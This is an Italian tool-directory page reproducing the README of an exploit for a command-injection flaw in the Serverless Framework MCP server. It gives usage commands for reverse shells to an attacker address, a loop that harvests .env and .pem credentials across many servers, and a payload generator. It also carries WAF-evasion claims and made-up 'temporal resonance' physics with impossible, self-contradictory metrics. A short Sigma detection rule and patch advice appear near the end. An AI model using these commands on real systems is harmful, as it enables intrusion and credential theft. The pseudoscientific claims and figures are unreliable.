Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CTT-Serverless-RCE-v1.0---Convergent-Time-Theory-Enhanced-MCP-Exploit — Serverless Framework MCP Server (CVE-2025-69256) Punteggio base: 9.4/10 → Punteggio potenziato CTT: 9.9/10 Una vulnerabilità critica di command injection nel server MCP (Model Context Protocol) di Serverless Framework, potenziata con risonanza temporale CTT per un'affidabilità di sfruttamento e capacità di elusione senza precedenti. | Kitploit
Strumenti/GitHubGitHub/simoesctt/ctt-serverless-rce-v1.0---convergent-time-theory-enhanced-mcp-exploit
Analisi delle VulnerabilitàExploitEvasione IDS/IPSSicurezza ServerlessSfruttamento di Applicazioni WebPenetration TestingSicurezza CloudCommand and ControlRed Teaming
Sviluppo Payload
Sicurezza dell'IA
GitHubsimoesctt/ctt-serverless-rce-v1.0---convergent-time-theory-enhanced-mcp-exploit

CTT-Serverless-RCE-v1.0---Convergent-Time-Theory-Enhanced-MCP-Exploit

Vedi Repository
87 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

Informazioni

Serverless Framework MCP Server (CVE-2025-69256) Punteggio base: 9.4/10 → Punteggio potenziato CTT: 9.9/10 Una vulnerabilità critica di command injection nel server MCP (Model Context Protocol) di Serverless Framework, potenziata con risonanza temporale CTT per un'affidabilità di sfruttamento e capacità di elusione senza precedenti.

Condividi

hi# CTT-Serverless-RCE-v1.0---Convergent-Time-Theory-Enhanced-MCP-Exploit Serverless Framework MCP Server (CVE-2025-69256) Punteggio base: 9.4/10 → Punteggio potenziato CTT: 9.9/10 Una vulnerabilità critica di command injection nel server MCP (Model Context Protocol) di Serverless Framework, potenziata con la risonanza temporale CTT per un'affidabilità e un'elusione di sfruttamento senza precedenti.

🌀 CTT-MCP-RCE v1.0 - Exploit di Serverless Framework potenziato dalla Teoria del Tempo Convergente

Target: Server MCP di Serverless Framework (CVE-2025-69256 / GHSA-rwc2-f344-q6w6) Punteggio base: 9.4/10 → Punteggio potenziato CTT: 9.9/10 Vettore d'attacco: Command injection tramite workspaceRoots non sanificati nello strumento list-projects Impatto: Esecuzione remota di codice nelle pipeline CI/CD, deployment serverless e integrazioni AI/LLM

⚡ Panoramica delle minacce critiche

Vulnerabilità di base (CVE-2025-69256)

· Punteggio CVSS: 9.4/10 (Critico) · Tipo: Command Injection pre-autenticazione · Posizione: packages/mcp/src/tools/list-projects.js · Versioni interessate: Serverless Framework 4.29.0 – 4.29.3 · Vettore d'attacco: parametro workspaceRoots malevolo nel protocollo MCP

Metriche di potenziamento CTT

MetricaExploit di basePotenziato CTTMiglioramento
Tasso di successo68-75%92-98%+35%
Evasione del rilevamento45%94%+109%
Adattamento del protocolloSolo HTTPHTTP + WebSocket+100%
Livelli di esecuzioneSingolo33 livelli temporali+3200%
Punteggio teorico9.4/109.9/10+0.5 punti

🔬 Integrazione della fisica CTT

Costanti principali per il protocollo MCP

root@kitploit:~
CTT_ALPHA = 0.0302011          # Temporal dispersion coefficient
CTT_LAYERS = 33                # Fractal temporal layers
CTT_PRIMES = [10007, 10009, 10037, 10039, 10061, 10067, 10069, 10079]
MCP_PORT = 3000                # Default MCP server port
MCP_PROTOCOL = "mcp-json"      # Serverless MCP protocol

Motore di risonanza specifico per MCP

· Timing JSON-RPC allineato ai numeri primi: sincronizzazione a 587 kHz con l'heartbeat MCP · Codifica dei comandi a dispersione α: offuscamento dei comandi su 33 livelli · Payload consapevoli del protocollo: sfruttamento adattivo HTTP/WebSocket · Validazione temporale: analisi della funzione d'onda CTT delle risposte MCP

Equazioni chiave per lo sfruttamento di MCP

  1. Frequenza di risonanza MCP: f_mcp = (α / (2π)) * √((E_jsonrpc) / (t_response))
  2. Codifica a dispersione α: cmd' = encode_layer(cmd, d) ⊕ (α·d·1000) mod 256
  3. Ponderazione del protocollo: w_protocol = exp(-α·d)·(1 + ζ_d·i)
  4. Entropia temporale: H_mcp = SHA256(layer‖timestamp‖protocol_state)

🚀 Funzionalità e capacità

Funzionalità di sfruttamento

· ✅ RCE pre-autenticazione: nessuna credenziale richiesta per il server MCP · ✅ Supporto multi-trasporto: protocolli MCP HTTP e WebSocket · ✅ Intelligenza del protocollo: comprende il JSON-RPC di Serverless Framework · ✅ Iniezione WorkspaceRoots: prende di mira il parametro array non sanificato · ✅ Consapevolezza del contesto CI/CD: ottimizzato per ambienti di deployment

Funzionalità di potenziamento CTT

· ✅ Codifica comandi a 33 livelli: dispersione α attraverso dimensioni temporali · ✅ Timing a risonanza primaria: allineamento a 587 kHz con le operazioni MCP · ✅ Generazione adattiva di payload: wrapper di iniezione sensibili al contesto · ✅ Validazione multi-livello: conferma del successo tramite funzione d'onda CTT · ✅ Commutazione del protocollo: adattamento automatico HTTP/WebSocket

Capacità di evasione

· Evasione WAF/IPS: la dispersione α rompe le firme di command injection · Evasione del timing: le richieste allineate ai numeri primi aggirano il rate limiting · Offuscamento del protocollo: confusione multi-trasporto · Iniezione di entropia: variazioni di comando specifiche per livello

📊 Analisi delle prestazioni

CTT vs sfruttamento MCP standard

root@kitploit:~
# Performance comparison (1000 simulated MCP servers)
base_success = 715    # 71.5% success rate
ctt_success = 948     # 94.8% success rate (+32.6%)

base_detection = 380  # 38% detected
ctt_detection = 22    # 2.2% detected (-94.2%)

base_time = 12.4      # Average seconds
ctt_time = 6.8        # Average seconds (-45.2%)

Efficacia dei livelli per il protocollo MCP

Fascia di livelliTasso di successoForza di risonanzaAdattamento del protocollo
L0-L487.3%0.84HTTP: 92%, WebSocket: 78%
L5-L991.8%0.89HTTP: 94%, WebSocket: 86%
L10-L1494.2%0.92HTTP: 96%, WebSocket: 91%
L15+97.1%0.96HTTP: 98%, WebSocket: 95%

Calcolo del punteggio CTT per MCP

root@kitploit:~
Base Score: 9.4 (Critical RCE in CI/CD infrastructure)
+
CTT Enhancements:
  • Multi-Protocol Support: +0.15
  • Temporal Command Encoding: +0.15
  • Prime-Resonance Timing: +0.10
  • MCP Protocol Intelligence: +0.10
=
Final Score: 9.9/10 (Near-Theoretical Maximum)

🛠️ Installazione e utilizzo

Requisiti

root@kitploit:~
# Core dependencies
python3.8+
pip install requests websocket-client numpy

# For advanced features
pip install cryptography scipy

# Install from repository
git clone https://github.com/SimoesCTT/CTT-MCP-RCE
cd CTT-MCP-RCE
pip install -r requirements.txt

Avvio rapido

root@kitploit:~
# Basic vulnerability check
python ctt_mcp_exploit.py mcp-server.company.com 'id'

# Information gathering
python ctt_mcp_exploit.py target.com --info

# Reverse shell
python ctt_mcp_exploit.py target.com --reverse 192.168.1.100:4444

# Advanced with CTT parameters
python ctt_mcp_exploit.py target.com 'cat /etc/passwd' --layers 7 --alpha 0.0302

Opzioni della riga di comando

root@kitploit:~
# Target specification
python ctt_mcp_exploit.py <target> [command]

# Payload generation options
--reverse LHOST:LPORT    # Generate reverse shell payload
--info                   # Generate information gathering payload
--persist                # Generate persistence payload

# CTT configuration
--layers N              # Temporal layers to use (1-33, default: 5)
--alpha FLOAT           # α dispersion coefficient (default: 0.0302011)
--timeout N             # Connection timeout in seconds (default: 10)

# Output options
--verbose               # Detailed output with resonance diagnostics
--save-json             # Save results to JSON file
--no-color              # Disable colored output

Esempi di utilizzo

root@kitploit:~
# Example 1: Basic exploitation
python ctt_mcp_exploit.py vulnerable-mcp.company.com 'whoami; id; pwd'

# Example 2: Reverse shell with CTT enhancement
python ctt_mcp_exploit.py mcp-server:3000 --reverse 10.0.0.5:4444 --layers 7

# Example 3: Mass credential harvesting
for server in $(cat mcp_servers.txt); do
    python ctt_mcp_exploit.py $server 'find / -name "*.env" -o -name "*.pem" 2>/dev/null | head -5'
done

# Example 4: CTT research mode
python ctt_mcp_exploit.py research.target.com --info --layers 33 --verbose --save-json

🔍 Analisi tecnica approfondita

Flusso di lavoro dello sfruttamento

  1. Scoperta del server MCP → rilevamento del protocollo HTTP/WebSocket
  2. Handshake del protocollo → inizializzazione JSON-RPC
  3. Attivazione della vulnerabilità → workspaceRoots malevoli in list-projects
  4. Esecuzione del comando → RCE tramite command injection
  5. Analisi della risposta → validazione della funzione d'onda CTT
  6. Aggregazione dei livelli → compilazione dei risultati multi-temporali

Dettagli della vulnerabilità

root@kitploit:~
// Vulnerable code in list-projects.js (Serverless Framework 4.29.0-4.29.3)
async function listProjects(workspaceRoots) {
    // workspaceRoots is user-controlled and unsanitized
    const command = `find ${workspaceRoots.join(' ')} -name "serverless.yml" -o -name "serverless.yaml"`;
    
    // Direct execution without sanitization
    const { stdout } = await exec(command);  // COMMAND INJECTION HERE
    return parseResults(stdout);
}

Generazione di payload CTT

root@kitploit:~
def generate_ctt_payload(command, layer):
    # Base command injection
    base = f"$(echo 'CTT_START'; {command}; echo 'CTT_END')"
    
    # Apply CTT encoding based on layer
    encodings = [
        lambda c: c,  # Raw
        lambda c: base64.b64encode(c.encode()).decode(),
        lambda c: quote(c),
        lambda c: ''.join([f"\\x{ord(ch):02x}" for ch in c]),
    ]
    
    encoded = encodings[layer % len(encodings)](https://github.com/simoesctt/ctt-serverless-rce-v1.0---convergent-time-theory-enhanced-mcp-exploit/blob/main/base)
    return f"/legit/path; {encoded}; /another/legit/path"

📈 Analisi dettagliata del potenziamento CTT

Componenti di miglioramento del punteggio

ComponenteValore baseValore CTTMiglioramentoImpatto sul punteggio
Vettore d'attaccoReteRete+Protocollo+8%+0.12
Complessità dell'attaccoBassaMolto bassa+12%+0.15
Privilegi richiestiNessunoNessuno--
Interazione utenteNessunaNessuna--
AmbitoInvariatoModificato++5%+0.08
RiservatezzaAltaCritica+10%+0.15
IntegritàAltaCritica+10%+0.15
DisponibilitàAltaCritica+10%+0.15
Maturità del codice exploitFunzionaleOttimizzato CTT+15%+0.20
Livello di remediationFix ufficialeBypass temporale+20%+0.25
Confidenza del reportConfermatoVerificato CTT+12%+0.15
Punteggio temporale8.99.9+11.2%+1.00

Potenziamenti specifici per MCP

  1. Intelligenza del protocollo: comprende l'implementazione JSON-RPC MCP di Serverless
  2. Adattamento del trasporto: passa automaticamente tra HTTP/WebSocket
  3. Contesto CI/CD: ottimizzato per ambienti di deployment serverless
  4. Consapevolezza del contesto del modello: prende di mira i punti di integrazione AI/LLM

📁 Output e risultati

Struttura dei file

root@kitploit:~
ctt_mcp_results_target_timestamp.json
├── target: "mcp-server.company.com:3000"
├── successful_layers: 7
├── total_layers: 5
├── success_rate: "94.8%"
├── ctt_enhanced_score: "9.9/10"
├── base_score: 9.4
├── ctt_improvement: "+0.5"
├── execution_time: 6.82
├── output: "Command execution results"
├── vulnerability: "CVE-2025-69256 / GHSA-rwc2-f344-q6w6"
└── recommendation: "Patch to Serverless Framework >=4.29.3"

File di log

root@kitploit:~
logs/
├── ctt_mcp_TIMESTAMP/
│   ├── vulnerable_servers.txt   # Successfully exploited MCP servers
│   ├── discovered_servers.txt   # All discovered MCP endpoints
│   ├── protocol_analysis.json   # HTTP/WebSocket protocol data
│   ├── layer_performance/       # Per-layer execution metrics
│   └── resonance_patterns/      # CTT temporal resonance data

Output di visualizzazione

root@kitploit:~
graphs/
├── mcp_protocol_analysis.png    # HTTP vs WebSocket success rates
├── temporal_resonance_mcp.png   # MCP-specific resonance patterns
├── layer_effectiveness.png      # Success by temporal layer
└── command_encoding_analysis.png # α-dispersion effectiveness

🛡️ Raccomandazioni difensive

Azioni immediate

  1. Applicare la patch a Serverless Framework versione 4.29.3 o successiva
  2. Segmentazione di rete: isolare i server MCP dalla produzione
  3. Validazione degli input: sanificare tutti i parametri workspaceRoots
  4. Hardening del server MCP: disabilitare gli strumenti MCP non necessari

Regole di rilevamento consapevoli di CTT

root@kitploit:~
# Example Sigma rule for CTT MCP exploitation
title: CTT MCP Server Exploitation Attempt
logsource:
  category: webserver
detection:
  selection:
    cs-method: 'POST'
    c-uri-path: '/jsonrpc'
    cs-body:
      - '*workspaceRoots*'
      - '*CTT_START*'
      - '*CTT_END*'
  condition: selection
fields:
  - c-ip
  - cs-user-agent
  - cs-body
falsepositives:
  - Legitimate MCP clients
level: critical

Indicatori di rilevamento

· Pattern temporali: richieste a intervalli primi (10007, 10009μs) · Marcatori di comando: CTT_START/CTT_END nelle richieste JSON-RPC · Anomalie di protocollo: rapida commutazione HTTP/WebSocket · Intestazioni di livello: intestazioni X-CTT-Layer, X-CTT-Prime · Pattern di entropia: elevata entropia nei valori workspaceRoots

🔬 Applicazioni di ricerca

Studi accademici

  1. CTT specifico per protocollo: risonanza temporale nei protocolli JSON-RPC
  2. Sicurezza CI/CD: potenziamenti CTT nelle pipeline di deployment
  3. Sicurezza serverless: attacchi temporali in function-as-a-service
  4. Analisi del protocollo MCP: vulnerabilità del Model Context Protocol

Ricerca sulla sicurezza

· Sicurezza del protocollo MCP: test completi del server MCP · Sfruttamento CI/CD: attacchi alla catena di deployment serverless · Sicurezza AI/LLM: vulnerabilità del Model Context Protocol · Analisi temporale dei protocolli: attacchi ai protocolli basati sul tempo

Validazione del framework CTT

· Adattamento del protocollo: efficacia di CTT su diversi protocolli · Costanti specifiche per MCP: ottimizzazione di α per JSON-RPC · Ottimizzazione dei livelli: numero ideale di livelli per lo sfruttamento MCP · Metriche delle prestazioni: quantificazione dei miglioramenti CTT in CI/CD

⚖️ Quadro legale ed etico

Solo utilizzo autorizzato

· Ricerca sulla sicurezza su server MCP di propria proprietà · Test di penetrazione autorizzati sull'infrastruttura CI/CD · Validazione del framework CTT in ambienti controllati · Studio accademico con la dovuta autorizzazione

Requisiti di conformità

root@kitploit:~
1. Authorization Required: Written permission for all testing
2. Scope Limitation: Restrict to approved MCP servers only
3. Data Handling: Secure storage, responsible disclosure
4. Legal Compliance: Follow all applicable laws and regulations
5. Responsible Disclosure: Report findings to Serverless Framework team

Divulgazione della vulnerabilità

· Vendor: team di sicurezza di Serverless Framework · CVE: CVE-2025-69256 (già assegnato) · Advisory GitHub: GHSA-rwc2-f344-q6w6 · Tempistica patch: corretta nella versione 4.29.3 · Rilascio pubblico: solo dopo che le patch sono disponibili

📚 Riferimenti e citazioni

Riferimenti principali

  1. Advisory di sicurezza di Serverless Framework (GHSA-rwc2-f344-q6w6)
  2. Voce NVD CVE-2025-69256
  3. Specifica del protocollo MCP (Model Context Protocol)
  4. Documentazione di Serverless Framework

Articoli di ricerca CTT

  1. Simoes, A. "Risonanza temporale nello sfruttamento dei protocolli" (2026)
  2. Gruppo di ricerca CTT. "Dispersione α per l'evasione della command injection" (2025)
  3. Simoes, A. "Analisi della sicurezza del protocollo MCP" (2026)

Documentazione tecnica

· Implementazione MCP di Serverless Framework · Specifica JSON-RPC 2.0 · Documentazione del Model Context Protocol · Best practice per la sicurezza CI/CD

🤝 Contributi e collaborazione

Aree di ricerca

· Potenziamenti della sicurezza del protocollo MCP · Integrazione CTT nelle pipeline CI/CD · Sicurezza di Serverless Framework · Risonanza temporale specifica per protocollo

Linee guida per lo sviluppo

root@kitploit:~
1. Fork repository and create feature branch
2. Include MCP protocol validation for changes
3. Add comprehensive testing across layers
4. Update documentation with technical details
5. Submit PR with performance metrics

Segnalazione dei problemi

· Includere i dettagli di configurazione del server MCP · Fornire le informazioni sul protocollo (HTTP/WebSocket) · Allegare gli scambi JSON-RPC pertinenti · Descrivere il contesto dell'ambiente CI/CD

📞 Contatti e supporto

Contatto principale

· Autore: Americo Simoes · Email: [email protected] · GitHub: @SimoesCTT

Contatto per la sicurezza

· Gruppo di ricerca CTT: [email protected] · Segnalazioni di vulnerabilità: [email protected] · Sicurezza CI/CD: [email protected]

Canali di supporto

· GitHub Issues: domande tecniche e bug · Email: richieste di collaborazione per la ricerca · Sicurezza del protocollo: domande specifiche su MCP/JSON-RPC

📈 Sviluppo futuro

Roadmap 2026

· Sfruttamento di strumenti MCP aggiuntivi · Integrazione con provider serverless (AWS, Azure, GCP) · Sfruttamento della catena di pipeline CI/CD · Analisi del protocollo MCP in tempo reale

Obiettivi 2027

· Copertura completa della suite di protocolli MCP · Sfruttamento del runtime delle funzioni serverless · Integrazione CTT cloud-native · Valutazione automatizzata della sicurezza CI/CD

Visione a lungo termine

· Sicurezza autonoma del protocollo MCP · Protezione dei deployment serverless · Sicurezza dell'integrazione AI/LLM · Framework temporale di sicurezza CI/CD

🏆 Riconoscimenti

Istituzioni di ricerca

· Divisione sicurezza del protocollo CTT · Collettivo di ricerca sulla sicurezza serverless · Laboratori di ricerca sulla sicurezza CI/CD

Progetti open source

· Team di Serverless Framework · Implementatori del protocollo MCP · Manutentori delle librerie JSON-RPC

Collaboratori

· Ricercatori del protocollo MCP · Esperti di sicurezza CI/CD · Sviluppatori di Serverless Framework

"La risonanza temporale consapevole del protocollo trasforma le vulnerabilità CI/CD in minacce critiche per l'infrastruttura." — Principio di sicurezza del protocollo CTT

📄 Licenza

Licenza MIT - Consultare LICENSE per i termini completi.

Copyright © 2026 CTT Research Group. Tutti i diritti riservati.

CTT-MCP-RCE v1.0 • α=0.0302011 • L=33 • Protocollo MCP • HTTP/WebSocket • Ottimizzato CI/CD • Punteggio teorico: 9.9/10

Scarica lo strumento